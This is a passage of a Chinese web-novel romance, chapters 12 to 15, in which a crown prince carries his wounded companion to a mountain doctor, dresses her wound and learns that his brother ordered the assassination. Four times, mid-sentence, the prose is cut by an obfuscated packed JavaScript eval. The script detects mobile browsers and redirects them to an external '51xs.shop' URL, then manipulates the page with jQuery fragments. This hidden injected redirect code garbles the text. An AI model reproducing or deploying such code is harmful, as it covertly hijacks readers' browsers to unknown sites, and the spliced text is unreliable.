血液从他的指缝中流出,带着温热,那是小姑娘的血。 是为了自己流的血。 她为他受伤,两次。 他没有护住她,两次。 看到江露染苍白的脸色,谢知寒可以清晰地感觉到少女身上生命力的急速退却。 在母后离开之后,他以为这世上不会再有任何事可以搅扰到自己的心绪。 直到此刻,看到少女身上的青色衣裙被鲜血打湿,而她像一朵被风雨吹的枯萎的花朵,看上去就要凋零了。 谢知寒心中一阵发紧,心脏处的疼痛随着血液蔓延至全身,接着四肢百骸都开始难受起来。 他的喉咙发干,想要呼唤她的名字可是却什么也说不出来,掌心收紧。 母后离开时的疼痛再次席卷了他。 少女的眼眸仍旧一眨不眨地看着他,瞳仁墨黑,染了点水汽,里面却没有一点怨恨。 她的唇瓣轻轻开合,好像在对他说些什么。 谢知寒覆耳去听,听到少女低声对自己道:“殿下,千万不要伤心,伤心了就不好看啦。” 谢知寒心脏一痛,少女受伤的痛苦仿佛让自己的心再次缺了一块。 而他再也不想让少女受到任何伤害。 谢知寒面色冷沉,对着江露染道:“孤不会让你有事的。” 说着,他将江露染抱到马车上,打开随身携带的护心丸。 这护心丸是宫中御医费心配置的,耗尽所有精力统共才制成了几粒,分给宫中各位贵人后,每人得到的更是少之又少。 先皇后走后将自己的那枚给了谢知寒,谢知寒也仅仅有两粒。 谢知寒将那粒浅褐色的药丸小心翼翼地送入江露染口中,而后又给小姑娘喂了水。 可是小姑娘此时已经陷入昏迷,根本喝不下去任何东西,喂进去的水大半都吐了出来,沾湿了胸前的衣衫。 她胸口的血迹也越来越多,谢知寒感觉到自己的心越来越沉。 若是她出了什么事情,谢知寒眉眼间少见的染上难以言喻的戾气。 不,他不会让这种事情发生。 不管将来发生何种情况,他会陪着她。 那粒护心丸只能坚持两日时间,两日之内必须找到大夫。 南风看着小姑娘浑身沾满了血迹,奄奄一息,心中愧疚不已,若是自己看住那名刺客,是不是就不会发生这种情况。 看着殿下心急如焚的模样,南风心中也是着急无比,恨不得受伤的人就是自己。 他恨不得跪下给自己请罪。 可是此时不是说这个的时候,眼下的当务之急是赶紧找到大夫,给小姑娘疗伤。 南风也知晓事情不能再耽搁,于是将人质处理好,急忙上车赶起路来。 马车走的很急,谢知寒紧紧揽住江露染的身子,不让她因为马车而全身摇晃。 他的手时不时去探她的脉搏,感受到小姑娘脉搏跳的越来越微弱,谢知寒脸色就越发阴沉。 南风在旷野中疾行了一天一夜,根本没有什么村落,更不要提什么大夫。 眼看时间一点一滴的流逝,很快就要到达两天。 仍旧没有找到大夫的希望。 连南风心中也生出绝望,若是再这样下去,江露染就会因为血液流尽而死。 殿下他,南风不敢想殿下会是怎样的情景。 殿下连宫中异常珍贵的护心丸都给江露染用了,可见这小姑娘在殿下心中的分量。 殿下可是从来不把任何人放在心里的,可一旦用心了,他就不会轻易改变。 这是南风跟在谢知寒身边看出来的。 谢知寒看了一眼外面的天色,阴云密布,天气越发的寒冷了。 南风忍了又忍,终是对谢知寒道:“殿下,已经过去了一天一夜,若是找不到大夫...” “不会,一定会找到,继续赶路,不要停下来。” 马车又开始在旷野中疾行。 自从母后离开,谢知寒就不怎么相信神明,他能相信的就只有自己。 可是此时此刻,他不得不在心中祈祷。 他一向淡然,在外人眼中总是光风霁月,风轻云淡的模样。 可是只有他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716178|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己知道,他并不像外表那样无懈可击,在无人看见的地方,他也是非常脆弱的。 比如此时此刻。 看着江露染沉沉睡去的模样,他的心中生出一种久违的慌张,他是那样害怕,她的脉搏是那么弱,呼吸是那么轻。 他很害怕下一秒她就会和母后一样消失不见了。 他想永远陪伴在她身边,看她哭,看她笑,与她分享她的每一种情绪。 在次日午后,在南风的疾行中,终于找到了一座小村落。 南风连忙去问村民哪里有大夫,村民指了路,说是在村子东南有一位医术不错的大夫。 知晓了地点,南风去了村子东南。 可是到了那里,才发现那里有一座高山,通往山顶有一层很高的阶梯,马车根本就没有任何用处。 南风看着殿下,殿下脸色很是不好,看上去有些阴郁。 主动道:“殿下,交给我吧。” 谢知寒抱紧了怀中的姑娘,没有理会南风,径直从南风身边走了过去。 南风看着殿下清冷出尘的背影,微微一愣,立刻跟了上去。 几人终于到了山顶,发现里面是个小茅屋,周围种满了各种稀缺的花木,看上去很有几分人间仙境的感觉。 南风:这里面真的会住着大夫吗? 谢知寒走近轻轻地敲了敲门,良久没有声音。 谢知寒再次敲的时候,门终于打开了。 开门的是个头上梳着两只朝天辫的小童,对着他们道:“现在不看诊,师傅正睡觉呢。看诊得等到三个时辰以后。” 说完,看也不看门外的人,就要关上门。 南风立即牵住小童的手,对他道:“小娃娃,别啊,我们这里有个病人受了很重的伤,等不到三个时辰以后。” 小童用力甩开南风的手,怒目道:“你说谁是小娃娃。”声音带着几分奶里奶气。 南风此时心急如焚,哪里还能注意小童的语气,只想着赶紧将大夫请出来给江露染治病。 小童顺着南风的指引看到一身是血的江露染和白衣沾染鲜血的谢知寒,眉目愣了愣。 好像是有点严重。 正想着,屋内传来一个略显苍老的声音。 “菘蓝,外面吵吵嚷嚷出了何事?” 小童立即跑进去将外间的事告知,很快便哒哒哒地跑出来,对着三人道:“师傅说了,治病可以,但是他晚饭想吃五宝鲜蔬汤,你们要帮师傅采集食材。” 说着,指了指菜园子,说出了师傅想要吃的种类。 南风:这是什么大夫呀,看个病怎地如此麻烦,走那么多台阶不说,累个半死还要免费干活。 南风还在腹诽,谢知寒已经将江露染小心地放在外面的石桌上,用大氅将她的身体认真裹住,不让她受到一丝风寒。 南风眼看着金尊玉贵的殿下就这样走进了菜园子,连忙跟了上去。 两个人一直生活在宫中,根本分不清菜的种类,将几种菜寻齐很是废了一番功夫。 小童看着菜找全,立即又进去禀告,对着他们道:“你们进来吧。” 看着浑身是血的江露染,一头白发的老大夫捋了捋胡子道:“这伤是不是过重了些。” 13. 第 13 章 听到大夫如此说,南风的心蓦地一紧,谢知寒虽然未曾言语,但是揽着江露染腰肢的手蓦地收紧。 大夫再次捋了捋胡须,道:“不过也不是没得救。” 说着,示意谢知寒将病人放到床上,而后示意小童去摘草药。 不到片刻,小童手中拿着一碗绿油油的药糊糊走了过来,对着谢知寒道:“把这个药涂到伤口上可以止血。” 说着,将药碗塞到谢知寒手中,对着他吩咐:“你去涂。” 南风第一次见有人对殿下如此不尊敬,又是摘菜又是涂药,知不知道这可是金尊玉贵的储君。 储君怎么可以用来做这种事情呢? “你是大夫,你怎么不去涂?”南风对老大夫道。 大夫慢悠悠道:“俗话不是都说了吗,男女授受不亲,况且我这都一大把年纪了,还去做这种事情不太好吧。” 说着,视线慢慢移到谢知寒身上,带着几分了然:“我看这位小郎君如此关心这位姑娘,一定与这位姑娘关系匪浅,让他来涂药最是合适不过。” 南风依旧在和大夫狡辩:“你是大夫,自然是救人一命胜造七级浮屠,哪里还管他男女授受不亲什么的,你这未免也太死板了。” 谢知寒唤住南风:“不必吵了,我去涂。” 为避免暴露身份,谢知寒没有自称“孤”,而是用了“我”。 大夫捋捋胡须:“这才对嘛!” 其实除了看病,他的第二兴趣就是给人当红娘,来这里看病的不知道多少小姑娘小郎君,都成功喜结连理。 如今看到一位清隽无比的小郎君和倾国倾城的姑娘,这自然是让大夫心痒无比。 谢知寒拿着药碗走到床边,手中的药碗不断出传来药香。 给人涂药这种事他还是第一次做,谢知寒一向运筹帷幄,心中沉稳。 可是此时却有些罕见的紧张,早知如此,他就会提前在太医那里学一学如何涂药了。 大夫见这小郎君金尊玉贵,云淡风轻的模样,早就猜到他不会涂药。 将南风和小童赶出去,隔着一道小帘,对着谢知寒指导:“小郎君,先把姑娘的衣裳解开,若是解不开,可以用一边的剪刀将衣裳剪开,注意千万不要伤到姑娘。” 谢知寒闻言照做,轻轻解开江露染的衣服,只是有些地方被血液黏连,与皮肤牢牢地黏在一起,谢知寒看的分外难受,动作十分轻柔,明知江露染此时晕过去了。 但仍旧怕他动作重了,江露染会疼。 废了好大一番功夫将衣衫解开,大夫又道:“将暗器拔出来。” 谢知寒看着小姑娘伤口处的皮肤,因为失血而变的更加苍白,心口上两寸的地方,正有一枚尖锐的暗器深深刺进她的皮肤,伤口很深。 大夫道:“小郎君,千万不要害怕,听我的,不会出错。” “只要按照我说的去做,姑娘就不会有事。” “轻轻握住那枚兵刃,用些力气,直直地拔出来,千万不要歪斜了。” “拔出之后,立即将药碗中的药涂到姑娘伤口处,那药可是止血的良方。” 谢知寒指尖覆在暗器的边缘,不知为何,他的心跳的很快,小姑娘的性命此时就系在自己指间,若是自己一个不稳,那么势必会对小姑娘的伤势造成影响。 谢知寒稳了稳心神,这是很重要的时刻,不可以再犹豫。 谢知寒细白的指尖握住暗器的一角,指尖稍稍用力,将那枚暗器拔了下来。 锐器拔下的一瞬间,江露染散发出细小的轻声,想必还是自己过于用力了。 伤口处很快迸射出鲜红的血液,谢知寒用药勺将药碗中的药尽数涂了上去。 也不知这是什么草药,涂上去之后血液在很短的时间里就止住了,江露染紧皱的细眉也松开了些,脸色看上去好多了,没有方才那般痛苦。 谢知寒眼看面前小姑娘雪白的肌肤,此时因为血液流失,更是变得更加苍白,像是冬日的薄雪,很快就要融化。 而这一切都是自己造成的。 她本可以不用遭受这些。 谢知寒拿着药碗的指尖轻轻颤了颤。 大夫的声音随后传来:“涂好了吧,小郎君?接下来就是用一旁的布给小姑娘包扎起来,注意一定要注意力道,不能太松,也不能太紧。松了容易掉落,绷得太紧血液会不流通。” 谢知寒拿起一旁的白布,认真将它缠绕在伤口处,时刻注意着自己的力道,生怕引起小姑娘不舒服。 谢知寒清隽的眉眼透露出极其认真的神色,仿佛是在做着世上最用心的事情,任何人任何事也不能打扰到他。 包扎好之后,谢知寒为江露染换上大夫早就准备好的干净衣服,为小姑娘盖好被衾,看着她呼吸浅浅地睡过去。 大夫眼见谢知寒从帘子后面出来,问:“都做好了?”一边说一边抬腿向着江露染走去。 看着小姑娘的伤口处理的很是不错,大夫捋捋胡须心中夸赞道,这小郎君很是不错呀,看着不食人间烟火的谪仙模样,第一次换药就可以做到面面周全。 这小姑娘眼光不错呀。 竟然可以发现如此优越的小郎君。 谢知寒看着江露染平静躺在床上,异常乖巧的模样,涂药之后应当是好多了,她眉梢不再轻轻皱着了。 看到江露染如此,谢知寒提着的心也轻轻放了下来。 大夫一眼就看穿谢知寒心中在想些什么,他对着谢知寒道:“别担心,小姑娘涂了药,让她好好睡一觉,晚上就可以醒过来了。” “多谢大夫。” 大夫捋了捋胡须,他自从搬到这个小村庄三年以来,这还是第一次接到如此严重的病人。 村子里的人日出而作,日落而息,生活异常规律,且这里偏安一隅,也很少有外人打扰,是以村民身体大多很健康,就是生病也是风寒咳嗽一类的小毛病。 像江露染这种生命垂危的病人这还是第三年来他第一次接到。 不过这也算是为他提供了一种练习,省的自己在这三年里总是不发挥自己的效用,而忘记了自己本来的医术。 南风眼看着殿下从小屋中出来,这还是记忆中殿下除了先皇后外第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722514|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给人上药。 虽说这几日他看着殿下对江露染这小丫头不同于常人,但是这可是上药,多么亲密的举动,俗话都说男女授受不亲,殿下却与小丫头有过如此行为。 这小丫头不会要成为太子妃吧,南风摇了摇头,自己否定了这个想法。 就算殿下同意,陛下也不会同意的,那可是太子妃,陛下一定会在京中的名门贵女中为殿下挑一位门当户对的。 江露染来自宫外,且身份地位与殿下也不匹配,纵使殿下对她有情,他们最终应当也是走不到一起的。 南风不自觉地叹了口气,既然如此为何还要让两人相遇呢,真到那时殿下又该伤心了。 看到南风叹气,谢知寒走上前去,清沉的声音响起:“想什么呢?这么专注?” 突然听到殿下的声音,南风浑身一激灵,方才心中想的事情自然不能告知殿下。 “殿下,小姑娘如何了?” “大夫说她无事,晚上会醒来。” 南风这才放下了心,小姑娘一定要平安无事,否则殿下可要伤心好一段日子。 到了晚上,江露染幽幽转醒。 她方才做了好长的一个梦,她梦到了爹爹娘亲,还梦到了一个穿着白衣服宛若谪仙的人,只看着那个背影就让她心动不已。 心口处倏地传来阵阵疼痛,宛若刀割,而后有清凉的药膏涂上来,那疼痛很快就消失不见了,涂抹药膏的动作很温柔,她一点也感受不到痛苦,反而可以嗅到清凉的药香和一阵好闻的浅淡檀香。 江露染睁开眼眸,就看到一袭白衣坐于她的床边,白皙修长的手中擎着一本书卷,他翻看书卷的动作很是好看,带着几分淡然和漫不经心。 江露染怔怔地看着那背影,这清冷出尘的背影与她梦境中的背影重合,是了,眼前这人是殿下,她方才就是梦到了殿下。 他看人的时候带着几分疏离,瞳孔有些淡漠,身上的檀香也带着几分生人勿近的味道。 但是殿下对着自己时,却不会这样。 殿下总是温柔的,耐心的,瞳仁里很少有陌生。 殿下一直在这里等着自己醒来吗?还是他是偶然出现在这里的呢? 江露染轻声咳嗽了一下,谢知寒听到背后的动静,连忙放下手中书卷,手中稳稳地递了一杯水过来。 江露染接过他手中的杯盏,饮了几口,水的温度刚刚好,不过于凉也不过于热。 “多谢殿下。” 少女一袭墨发披在肩上,显得她的脸越发的小,眼睛又是越发的大,下巴尖尖的,整个人肉眼可见的瘦了一圈。 她的脸色仍旧显现着病态的苍白,像是一张脆弱的宣纸。 谢知寒望着她的模样,道:“可有哪里不舒服?” 江露染摇摇头,没有什么不舒服,只是被殿下如此看着,感觉脸上有些烧。 她轻轻地垂下眼眸,避开谢知寒的视线,若是再被殿下这样看下去,她的脸估计真的就要烧起来了。 “殿下,我...我觉得有些饿。”良久,谢知寒听到少女带着些许不好意思的声音道。 14. 第 14 章 待到谢知寒的身影离开,江露染才觉的自己身上的紧张缓解了一点点,最近不知为何,看到殿下的身影总是会让自己紧张加剧。 谢知寒拿来了几样大夫交代过可以吃的点心,此时江露染吃点心的样子很像一只小猫。 怕她吃着点心不舒服,谢知寒还特意给她拿了一个小软枕垫在腰后。 江露染长发披肩,有几缕碎发肆意地搭在肩上,随着她吃点心的动作随意摆动。 谢知寒感觉那几缕碎发没有拂在她的肩上,而是拂在自己的心上。 可那明明只是几缕轻飘飘的碎发。 谢知寒感觉自己身上似乎又产生了那日的燥热,可是此时并不是想这个的时候,他不能也不应该有如此荒唐的想法。 谢知寒视线从江露染身上移开,拿了方才的书卷去读,可是心里仍旧很乱,甚至方才还能看下去的书卷现在也完全读不下去。 少女身上的清新香味萦绕在他身边,真是奇怪,明明自己跟江露染之间隔着一段距离,可是为何自己还是可以清清楚楚闻到她身上的香味。 谢知寒知晓自己现在的状态很是不对,他应该推开门出去,再也不见她。 纵使心中无比清楚的知晓,可是他一点也动不了。 他的身体仿佛被冻在原地,只能眼睁睁地看着自己沉沦,却什么也做不了。 但非常奇怪的是,他一向运筹帷幄,不喜被人束缚,但此时却一点也不讨厌这种感觉。 江露染看着谢知寒的身影,殿下背影一如既往的清隽,身姿如竹,手中握着书卷的模样很是出尘,仿佛世间的任何人任何事也打扰不了他。 这才是令她熟悉的那个殿下。 看着他毫发无伤,江露染心中才没有了担忧。 殿下是世界上最好的人,他值得世界上最好的一切。 他不应该受伤,也不应该难过,他会永远一尘不染地站在最高处睥睨天下。 她的殿下应该是最好的殿下。 此时,南风在门外敲门,谢知寒缓缓起身,走向门外。 南风对着谢知寒道:“殿下,有一个人企图自杀,被我拦下了,那人眼看自杀不成,就将事情全部招了出来。” 南风手中拿着黑衣人没有成功吞下去的药丸,对着谢知寒道:“殿下,那人说是二皇子指使他们做的。” 谢知寒看着躺在南风手中的那粒药丸,白的刺眼。 良久,谢知寒才缓缓开口:“务必留下那人活口。” 南风自然知晓这件事情对殿下来说多么重要,他垂首回答:“是。” 但很快南风心中又染上忧虑,自从先皇后离世,二皇子与贵妃就一直对殿下步步紧逼,陛下心中自然也是清楚的,只是心中偏袒二皇子,不管皇子做的有多过分,陛下总是睁一只眼闭一只眼,不肯对二皇子做出真正严厉的处罚。 而伤害殿下最深的,自然就是来自身边最亲密的人。 可偏偏那人,殿下一直奈何不得。 这次总算有了明面上的证据,希望殿下可以在二皇子面前扳回一局。 谢知寒回了房间,脑海中想的都是南风说的话,虽然他也知此次曲洲之行危险重重,他自己也做了充足的准备。 可当事情真正发生的时候,谢知寒才恍然发觉,他自己还是有些接受不了。 但纵使再接受不了,事情也是发生了,他不可以再欺骗自己,自从母后离开,他的确是—— 只有自己一个人了。 谢知寒身后传来阵阵冷意,吹动了他衣服的一角,窗外的冷风吹在身上,有些凉,但谢知寒不想关窗。 他早就习惯了这种冰冷的感觉。 他的指尖缓缓下移,似乎碰上了一个什么东西,布料软软的。 谢知寒低眉去看,那是一个香囊。 银白色的缎面,上面绣了一朵梅花,针脚有些简陋,香囊中不知放的什么香料,闻起来很是好闻,还有些熟悉。 与江露染身上的味道一模一样,清甜馨香。 谢知寒看着那香囊好久,冰冷的眉梢染上了几分温柔,不再似方才那般无情。 他修长的指尖缓缓摩挲着香囊的一角,布料非常柔软,像水一样在他指尖滑过,有些凉,可是这种凉与方才窗外吹过来的凉却很是不一样。 这凉让他想到江露染,让他想到那个小姑娘用小小的身躯一退不退挡在自己面前的模样,那坚定的模样仿佛她是一颗永远也不会倒下的乔木。 他一直以为自己是保护他人的树木,却没有想到小姑娘才是一直在为他遮风挡雨。 他才是被保护的那个。 谢知寒想了很久江露染,如果小姑娘跟自己回宫,自己就不再是孤身一人。 只是,如今还未回宫就已经面临了如此严重的刺杀,真的回了宫,遇到的危险会只多不少。 如果她愿意,他会放她走的。 正如她希望自己好一样,他也一样希望她好。 谢知寒决定将这个选择权交给江露染。 谢知寒轻轻推门进去的时候,江露染还没有醒,小姑娘整个埋在被衾里,从外面只能看到她柔顺的发丝。 她的呼吸浅浅,长长的羽睫安静的卷翘着,像把模样精巧的小扇子。 谢知寒看着她蜷缩起来的睡姿,心情不知为何突然变好了,但是一想到她醒来或许就会离自己而去,他的心又不可控制地沉了下去。 他实在不明白,那一夜他到底是怎样下定的决心,他明明心底是如此舍不得她,那夜竟然还能如此潇洒地离她而去。 江露染睁开眼睛的时候看到的就是谢知寒面无表情,宛如冰雪的神情。 殿下,是又不开心了吗? 殿下,因何不开心? 江露染挣扎着从床上起来,想去安慰谢知寒。 伤口虽然上了药,血液已经止住,可轻轻一碰还是会很疼,她这一动,就牵扯了伤口,江露染不自觉地发出小小的声音,皱起细眉。 这一声将谢知寒从自己的思绪中拉扯了出来。 谢知寒眼看着面前的小姑娘苍白的小脸上浮现出痛苦的神色,立即上前一步,扶住她的肩,让她躺在床上。 “是不是扯到伤口了?”清沉的声音响起。 江露染一开始还有些疼,可是殿下一接触到自己,被接触到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726517|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那片皮肤就开始发热,仿佛那片皮肤被烫伤了,而不是心口受伤的位置。 殿下要操心的事情实在太多了,不能再让殿下为自己担心了。 江露染摇摇头:“我没关系的,殿下。” 谢知寒看着江露染躺下,将被角为她掖好。 江露染看着殿下欲言又止的模样,主动开口道:“殿下,是有什么话要跟我说吗?” 谢知寒看着江露染苍白的面孔,有些不忍心,不知道此时问她这些话小姑娘会不会伤心。 犹豫半晌,谢知寒终于开口,语气听上去很是平静,听不到一点其他的情绪。 声线是一贯的冷沉。 “你也看到了,回宫只会带来无穷无尽的危险,若是你不想...”他的话还没有说完。 就听到江露染直接打断他的话:“不,殿下我不害怕,我说过的,殿下你不是一个人。”语气中带了几分急切,像是非常害怕谢知寒的下一句话就会说出抛弃。 而她害怕极了他的抛弃。 她不想让自己成为殿下的负累,所以日后这种受伤的情况再也不会出现。 江露染在心中暗暗发誓。 谢知寒望着小姑娘的眼睛,她的眼眸里荡漾着水波,里面沉淀着细碎的星光,不自觉地让人沉迷,想沉浸在她的眼神中。 听到她决绝的话语,谢知寒微微一愣,她脱口而出的样子,当真是想好了吗。 “你不必如此快就回答这个问题。” “殿下,难道你抛下我一次,还要抛下我两次吗?” 小姑娘的话一字一句问到谢知寒心中,像是带了回音般在谢知寒心间回荡。 是啊,自己曾经没有信守诺言,如今还要再次失信于这个小姑娘吗? 这可不是一国储君应有的风范。 江露染的手附上谢知寒的,她的指尖泛着一阵暖意,让谢知寒瞬间感到拥有无限力量。 她的声音像水一般覆盖过来,柔软但有力量。 “殿下,你不是一个人,就让我陪着你吧。” 她的话音字字句句传进他心里。 这还是第一次有人如此直白而大胆的向自己表达出这种心意。 若是放在平时,他一定会觉得那人疯了,也或许是不想活了。 但是此时此刻,江露染的话给了他无限的勇气和力量,让他觉得他不是自己一个人。 他还有她。 是啊,江露染自己都不害怕,自己究竟在害怕犹豫些什么。 他可是堂堂太子殿下,还怕会守护不了一个小姑娘吗。 他做事一向果断,今日这是怎么了,这不是他的作风。 谢知寒望着江露染的眼眸,只是一眼,他就知晓他们心中此时想的是一样的心思。 而窗外,一轮皎皎明月正在升起。 “花露月明残,锦衾知晓寒,孤以后唤你晓晓好不好?” 长这么大,父母都没有给自己起过小字,如今殿下刚好给自己起了小字。 “晓晓。我喜欢殿下给我起的这个名字。” 这是殿下起的名字,从今以后,她就仿佛有了新的生活。 15. 第 15 章 南风来向殿下禀报事务,一眼就看到了殿下腰间佩戴的香囊,南风有些诧异,殿下一向不习惯佩戴这些饰物,觉得累赘,但今日这是怎么了。 再说,他记得当初离开曲洲之时殿下已经命令自己将女子绣的香囊全都如数奉还了,今日怎会还有一个。 也不知晓这个香囊的主人是谁,竟然会被殿下看上,每日佩戴在身上。 南风看向那香囊,颜色是银白色的,上面还绣着一枝淡雅的梅花,一眼看上去没有那么惊艳,但是和殿下的周身气质竟然异常的搭。 不过,这针脚是不是也有点过于粗糙了,殿下为何会佩戴这个针脚如此粗糙的香囊? 还说是,其实是殿下拿错了? 南风还欲再看,谢知寒察觉到他的视线,轻轻转了下身,将香囊掩映住,南风再也看不到了。 谢知寒看了南风一眼,淡淡道:“何事?” 南风从万千思绪中抽离,连忙对殿下说出正事。 “殿下,那名刺客在狱中还欲自杀,已被属下拦住。” 谢知寒沉吟片刻,道:“还是将他看住了,万不可有闪失。” 南风本以为那刺客被逮住,毒药也被人拿走,还以为他会老老实实的,但谁知道这刺客竟然还是不知悔改,还是想着自杀灭迹。 纵使他是江湖中有名的帮派,也不能让这人伤害殿下的心思得逞。 既有人证也有物证,南风知晓此人对殿下的重要性,此人必定是要随殿下一起回到京城的,万万不可有闪失。 得到殿下的命令,南风便出了房间。 江露染听到屏风外面有动静,仔细一听是南风的声音,看来殿下有事,此时绝对不可以麻烦殿下。 只听得屏风外面南风的声音响起,良久后,才听到殿下清沉的声音,很是好听,像是雨水敲击在她的心上。 有点凉,但是她很喜欢。 殿下,她无意识的在脑海中将这两个字细细重复,一遍又一遍,似乎每多念一遍就可以离他更近一点。 她只想一步一步走到他身边。 陪着他,做他身边有力量的人,告诉他,他再也不会孤单了。 或许这条路很辛苦,很难走,但她不怕。 南风一离开房间,谢知寒就听到江露染唤他“殿下”,谢知寒以为她有什么需要,便立刻起身去往她身边。 方才还距离她很遥远的声音此刻就响在她耳边:“可是有什么事?” 声音清隽,顺着耳尖很快流窜到全身,江露染倏地一愣,耳尖泛起微微的薄红。 刚好想到殿下的时候殿下就来了。 眼看江露染没有说话,谢知寒还以为自己哪里做错事情招惹她生气了。 他仔仔细细回想了一遍方才发生的事情,难道是方才南风来的时候说话声音太大? 仔细回想应当是这件事情,谢知寒立刻道:“孤以后会让南风小点声的。” 江露染此时正沉浸在自己的思绪中,忽然听闻殿下如此说,脑子有些迟钝,难道是方才南风说错什么事情惹殿下不高兴了? 此时正在院中帮菘蓝劈柴的南风打了个喷嚏。 菘蓝:“你可真弱,不过就是劈几根柴都能染上风寒。” 南风:? 江露染微微向前倾身,想离殿下更近一点,但是刚挪动一点就牵扯到了伤口,她的眉头微微一皱。 谢知寒察觉到她的表情,连忙摁住她的肩让她躺下。 “晓晓,伤还没有好,不要乱动。” 他的声音清沉中带了严肃,听上去有些不近人情,江露染有些小小的委屈,说出口的话也很小声。 “殿下,我只是想离你更近一点。” 眼看小姑娘因为自己方才一句重话眼睛中携出了水雾,谢知寒心中很是不好意思。 他只是关心她,不想让她受伤,他想让她好的快一点。 但,每一次都弄巧成拙,让晓晓每次都难过。 他的脸色染上了几分内疚,主动靠近到江露染身边,他身上清冷的檀香缓缓地弥漫过来,非常温柔地包裹住她。 这檀香令江露染的心沉静,她很喜欢这味道。 谢知寒主动离小姑娘近了些,对着小姑娘道:“这样可以吗?” 江露染抬眸看着谢知寒,眼中闪烁着明亮的碎光,像是天上的星星,在她眼眸中闪烁。 “殿下,”江露染本以为自己的肆意行为又惹殿下生气了,但殿下主动靠了过来,而且还如此平心静气地对自己说话。 江露染心中很是开心,这是不是就说明殿下快要接受自己了? 南风劈好柴火,菘蓝煮饭,很快就做好了晚膳。 自从江露染受伤之后,殿下每次用膳都会和江露染一起,南风每每想到之前,在客栈三个人一起用膳就感觉自己像个外人。 像是打扰了他们两人独处的时间。 但是明明之前殿下和自己才是最亲密的,一切在江露染到来之后就完全变了个样子。 南风将膳食拿进房间,对着谢知寒道:“殿下,晚膳已经好了。” 谢知寒起身,先是查看膳食的温度,等到膳食温度适宜,谢知寒才将膳食拿给江露染。 南风出门之时,听到殿下唤江露染为“晓晓”。 南风出门的时候差点被门槛绊倒,殿下一向严谨,对于称呼也是非常规矩的,尤其是在规矩森严的宫中,殿下也从来没有犯过任何错误。 此时殿下竟然唤姑娘的小字,这是什么时候发生的事情?他明明每日都来见殿下,给他汇报事情,怎么没有发现殿下与江露染何时发展到了这种地步。 难道是自己太过于迟钝了?可这不应该呀。 饭后,大夫交给谢知寒一个瓷碗,拿着药勺搅拌了几下,对着谢知寒道:“这是我这几日新调制的药,想来小姑娘也是该换药了。” 谢知寒看着手中的瓷碗,不知想到什么,俊美无俦的脸庞浮现出浅浅的红。 大夫狐疑地看了他两眼:“难道是因为这几日你有些操劳,是以也感染了风寒?需要老夫为你也调配几副风寒的药吃一吃吗?” 谢知寒连忙谢绝了大夫的好意。 南风在一旁经过,恰好听到了大夫与殿下的对话,他很是不解:“大夫,您说也感染了风寒,另外一个感染了风寒的人是谁啊?” 大夫看了他一眼,不解道:“那个人难道不是你吗?” 南风:...他明明就只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730469|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是打了个喷嚏,怎么就变成感染了风寒?真是三人成虎,谣言止于智者。 两人在对话中,谢知寒已经拿着瓷碗走入室内,看着那个瓷碗有些犯愁。 若是南风看到一定又要惊讶,殿下一向稳操胜券,运筹帷幄,何时变得这样进退两难。 江露染闻到一阵清冷的檀香,便知晓是殿下来了。 等了好久也不见殿下讲话,室内的空气很是安静,落针可闻。 仔细听还能听到两人清浅的呼吸声。 良久,江露染轻轻开口:“殿下?” 谢知寒才恍然发觉,瓷碗此时还好端端地呆在自己手中,而他,是来给她上药的。 江露染闻到檀香中还夹杂着几丝清苦的药香,她意识到殿下此时进来是为了什么。 一定是为了给自己上药。 这次自己醒着了,可以自己上药,那么上次呢? 江露染摒弃了其余的念头,一定是大夫给自己上的药,殿下那么金尊玉贵,宛如仙人一般,怎么会给自己上药。 何况受伤的地方还是那么的...那么的...私密。 想到这里,江露染的脸颊已经染上了微红。 她还在胡思乱想,谢知寒已然走了进来。 他的身影清隽出尘,简直不像是这俗世中的人。 江露染看到他冷白修长的指中拿了一个瓷碗,指节白皙,与手中的瓷碗不相上下。 江露染连忙接过瓷碗,手指相撞见,各自有一种奇怪的感觉从上流窜。 她有些不好意思:“殿下,我自己来就可以了。” 